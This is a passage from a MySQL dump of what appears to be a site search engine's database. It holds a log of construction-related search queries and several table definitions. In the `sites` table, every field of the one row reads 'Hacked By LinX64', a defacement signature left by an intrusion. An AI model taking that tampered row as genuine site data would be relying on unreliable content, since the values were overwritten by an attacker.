00:18:58',0,0),('taxes','2010-08-02 00:18:58',0,0),('trane furnace','2010-08-02 00:19:15',0.03,0),('trane furnace','2010-08-02 00:19:15',0,0),('pine','2010-10-19 18:17:37',0.05,3),('john brake painting','2011-02-07 07:20:13',0.05,0),('fiberon','2011-06-14 21:51:03',0.65,2),('Construction Jobs Houston','2011-06-19 18:41:25',0.14,1),('Construction Jobs New York','2011-06-19 21:01:19',0.04,1),('Construction Jobs Houston','2011-06-29 19:46:18',0.07,1),('Construction Jobs New York','2011-06-30 03:01:52',0.08,1),('Construction Jobs New York','2011-07-02 16:25:08',0.05,1),('Construction Jobs Houston','2011-07-09 23:09:58',0.05,1),('Construction Jobs Houston','2011-07-19 15:57:49',0.04,1),('Construction Jobs New York','2011-07-23 16:33:40',0.07,1),('Construction Jobs Houston','2011-07-28 10:58:27',0.05,1),('insulation','2011-08-08 18:35:13',0.15,15),('insulation','2011-08-08 18:35:13',0,15),('Construction Jobs Houston','2011-08-11 05:50:24',0.1,1),('Construction Jobs Houston','2011-08-25 10:13:55',0.33,1),('Construction Jobs Houston','2011-09-05 10:32:44',0.09,1),('Construction Jobs New York','2011-09-06 21:22:25',0.08,1),('Construction Jobs Houston','2011-09-15 23:15:55',0.04,1),('Construction Jobs New York','2011-09-20 01:56:59',0.04,1),('Construction Jobs Houston','2011-09-25 12:34:02',0.11,1),('Construction Jobs Houston','2011-10-02 17:35:00',0.04,1),('Construction Jobs New York','2011-10-07 11:48:20',1.74,1),('Construction Jobs New York','2011-10-16 00:51:52',0.12,1),('Construction Jobs Houston','2011-10-23 22:24:13',0.04,1),('Construction Jobs New York','2011-10-26 09:31:14',0.52,1),('Construction Jobs New York','2011-10-27 16:33:56',0.04,1),('Construction Jobs New York','2011-10-30 16:24:25',0.04,1),('Construction Jobs New York','2011-11-05 23:01:00',1.72,1),('Construction Jobs Houston','2011-11-11 02:32:26',0.04,1),('Construction Jobs New York','2011-12-01 12:32:05',0.03,1),('Construction Jobs Houston','2011-12-07 14:06:01',0.06,1),('Construction Jobs New York','2011-12-27 20:25:08',0.34,1),('Construction Jobs Houston','2012-01-05 14:40:40',0.07,1),('Construction Jobs New York','2012-01-25 01:37:32',0.07,1),('Construction Jobs New York','2012-02-07 05:25:34',0.09,1),('wood','2012-02-08 11:53:03',0.1,4),('Construction Jobs Houston','2012-03-02 15:11:26',0.22,1),('Construction Jobs New York','2012-03-31 14:51:52',0.19,1),('Construction Jobs Houston','2012-05-31 08:19:30',0.03,1),('rebar','2012-06-18 02:24:29',0.01,0),('rebar','2012-06-18 02:24:34',0,0),('lights','2012-06-18 02:24:43',0.01,0),('lights','2012-06-18 02:24:45',0,0),('llumber','2012-06-18 02:24:57',0,0),('lumber','2012-06-18 02:24:59',0.03,20),('','2012-06-25 12:43:51',0.01,0),('painting caculator','2012-06-25 12:44:08',0.05,0),('Construction Jobs New York','2012-07-05 06:37:01',0.04,1),('Construction Jobs New York','2012-07-06 14:52:24',0.02,1),('Construction Jobs Houston','2012-08-23 15:37:04',0.03,1),('Construction Jobs Houston','2012-08-30 14:34:23',0.27,1),('Construction Jobs Houston','2012-09-06 13:21:45',0.02,1),('Construction Jobs Houston','2012-09-08 05:53:51',0.04,1),('Construction Jobs New York','2012-09-08 19:33:24',0.03,1),('Construction Jobs Houston','2012-11-29 04:54:18',0.03,1),('Construction Jobs Houston','2012-12-03 08:58:41',0.03,1),('Construction Jobs New York','2012-12-13 18:52:12',0.03,1),('wood','2013-01-12 14:22:06',0.03,4),('drywall calculator','2013-02-15 22:00:35',0.01,2),('drywall ','2013-02-15 22:12:11',0.05,16),('Construction Jobs Houston','2013-02-15 23:24:58',0.03,1),('Construction Jobs New York','2013-02-25 13:31:07',0.04,1),('tn','2013-03-06 22:08:46',0,0),('taxes by state','2013-03-10 16:32:06',0.03,0),('employment','2013-03-10 16:32:26',0.06,13),('Construction Jobs Houston','2013-04-09 05:19:09',0.03,1),('Construction Jobs New York','2013-04-22 18:20:18',0.04,1),('g bolt hdpe','2013-05-23 10:56:33',0.04,0),('g bolt pe','2013-05-23 10:56:47',0,0),('fiberon','2013-05-31 12:27:54',0.65,2),('Construction Jobs Houston','2013-07-08 15:37:07',0.04,1),('Construction Jobs New York','2013-07-14 05:57:39',0.06,1),('Construction Jobs New York','2013-09-17 07:12:06',0.04,1),('Construction Jobs New York','2013-11-19 16:08:01',0.19,1),('Construction Jobs Houston','2013-12-03 16:39:20',0.05,1),('install windows','2014-01-30 06:53:29',0.05,0),('windows','2014-01-30 06:53:43',0.07,14),('Construction Jobs Houston','2014-03-21 21:47:51',0.23,1),('','2014-04-01 17:20:09',0.02,0),('1','2014-04-02 09:03:30',0,0),('1','2014-04-02 09:03:43',0,0),('1','2014-04-02 09:04:55',0,0),('Construction Jobs New York','2014-04-08 22:30:32',0.1,0),('Construction Jobs Houston','2014-05-15 08:42:42',0.11,0),('caleuiate','2014-05-22 01:39:32',0.09,0),('calculators','2014-05-22 01:41:55',0.05,0),('','2014-05-22 11:40:06',0.02,0),('Construction Jobs New York','2014-06-14 23:05:10',0.05,0),('Construction Jobs Houston','2014-07-08 20:59:51',0.1,0),('Construction Jobs Houston','2014-07-11 11:17:05',0.18,0),('Construction Jobs Houston','2014-07-23 17:32:26',0.05,0);

--
-- Table structure for table `site_category`
--

CREATE TABLE `site_category` (
  `site_id` int(11) DEFAULT NULL,
  `category_id` int(11) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `site_category`
--


--
-- Table structure for table `sites`
--

CREATE TABLE `sites` (
  `site_id` int(11) NOT NULL AUTO_INCREMENT,
  `url` varchar(255) DEFAULT NULL,
  `title` varchar(255) DEFAULT NULL,
  `short_desc` text,
  `indexdate` date DEFAULT NULL,
  `spider_depth` int(11) DEFAULT '2',
  `required` text,
  `disallowed` text,
  `can_leave_domain` tinyint(1) DEFAULT NULL,
  PRIMARY KEY (`site_id`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=latin1;

--
-- Dumping data for table `sites`
--

INSERT INTO `sites` VALUES (2,'http://Hacked By LinX64/','http://Hacked By LinX64','http://Hacked By LinX64','2014-04-02',-1,'http://Hacked By LinX64','http://Hacked By LinX64',0);

--
-- Table structure for table `temp`
--

CREATE TABLE `temp` (
  `link` varchar(255) DEFAULT NULL,
  `level` int(11) DEFAULT NULL,
  `id` varchar(32) DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

--
-- Dumping data for table `temp`
--


--
-- Dumping events for database 'jhbrake1_sphdr'
--

--
-- Dumping routines for database 'jhbrake1_sphdr'
--


